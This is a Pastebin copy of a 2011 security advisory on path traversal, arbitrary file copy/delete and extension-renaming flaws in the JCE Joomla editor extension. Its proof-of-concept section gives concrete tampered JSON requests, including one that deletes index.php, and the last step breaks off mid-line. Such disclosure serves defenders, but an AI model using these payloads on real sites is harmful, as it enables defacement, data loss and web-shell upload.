Advertisement
0xroot

Untitled

Aug 29th, 2011
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.08 KB | None | 0 0
  1. ########################## www.BugReport.ir #######################################
  2. #
  3. # AmnPardaz Security Research Team
  4. #
  5. # Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
  6. # Vendor: www.joomlacontenteditor.net
  7. # Exploit: Available
  8. # Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager 1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions also may be affected)
  9. # Impact: High
  10. # Original Advisory: http://www.bugreport.ir/index_78.htm
  11. # Fix: N/A
  12. ###################################################################################
  13.  
  14. ####################
  15. 1. Description:
  16. ####################
  17.  
  18. JCE is an extension for Joomla!, that provides you with a set of wysiwyg editor tools that makes the job of writing articles for your Joomla! site a little bit easier.
  19. In a nutshell, it provides access to many of the features you may be used to using in Word or OpenOffice etc.
  20.  
  21. ####################
  22. 2. Vulnerabilities:
  23. ####################
  24.  
  25. 2.1. Path Traversal Flaws. Path Traversal in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section.
  26. 2.1.1. Exploit:
  27. Check the exploit/POC section.
  28.  
  29. 2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager", "Media Manager", "Template Manager", "File Manager" section. Attackers can delete any file or upload files to all the directories of the server.
  30. 2.2.1. Exploit:
  31. Check the exploit/POC section.
  32.  
  33. 2.3. Unsafe function Flaws. Attackers can use unsafe function called "folderRename" for changing Image type extension (.jpg, .gif, .png & etc.) to any extension like .htaccess or .php in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section.
  34. 2.3.1. Exploit:
  35. Check the exploit/POC section.
  36.  
  37. ####################
  38. 3. Exploits/PoCs:
  39. ####################
  40.  
  41. Original Exploit URL: http://www.bugreport.ir/78/exploit.htm
  42.  
  43. 3.1. Path Traversal Flaws. Path Traversal in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section.
  44. -------------
  45. Path Traversal and see all directories:
  46. Step 1 +--> Click on root (left bar)
  47. Step 2 +--> Use Proxy (like burp) for changing path:
  48.  
  49. json={"fn":"getItems","args":["/","all",0,""]} to json={"fn":"getItems","args":["../../","all",0,""]}
  50.  
  51. -------------
  52.  
  53. 3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager", "Media Manager", "Template Manager", "File Manager" section. Attackers can delete any file or upload files to all the directories of the server.
  54. -------------
  55. For uploading file:
  56. Step 1 +--> Upload a file with image type extension like azizi.jpg
  57. Step 2 +--> Click on root (left bar)
  58. Step 3 +--> Use Proxy (like burp) and change "json" parameter to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}
  59.  
  60. Now azizi.jpg copied to root directory.
  61.  
  62.  
  63. For deleting file:
  64. Step 1 +--> Click on root (left bar)
  65. Step 2 +--> Use Proxy (like burp) and change "json" parameter to json={"fn":"fileDelete","args":"../../index.php"}
  66.  
  67. Now index.php has been deleted.
  68. -------------
  69.  
  70. 3.3. Unsafe function Flaws. Attackers can use unsafe function for changing Image type extension (.jpg, .gif, .png & etc.) to any extension like .htaccess or .php in "Image Manager", "Media Manager", "Template Manager" and "File Manager" section.
  71. -------------
  72. For uploading file with executable extension:
  73. Step 1 +--> Upload a file with image type extension like azizi.jpg
  74. Step 2 +--> Click on root (left bar)
  75. Step 3 +--> Use Proxy (like burp) and change "json" p
  76.  
  77. ####################
  78. 4. Solution:
  79. ####################
  80.  
  81. Restricting and granting only trusted users having access to resources and wait for vender patch.
  82.  
  83. ####################
  84. 5. Credit:
  85. ####################
  86. AmnPardaz Security Research & Penetration Testing Group
  87. Contact: admin[4t}bugreport{d0t]ir
  88. www.BugReport.ir
  89. www.AmnPardaz.com
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement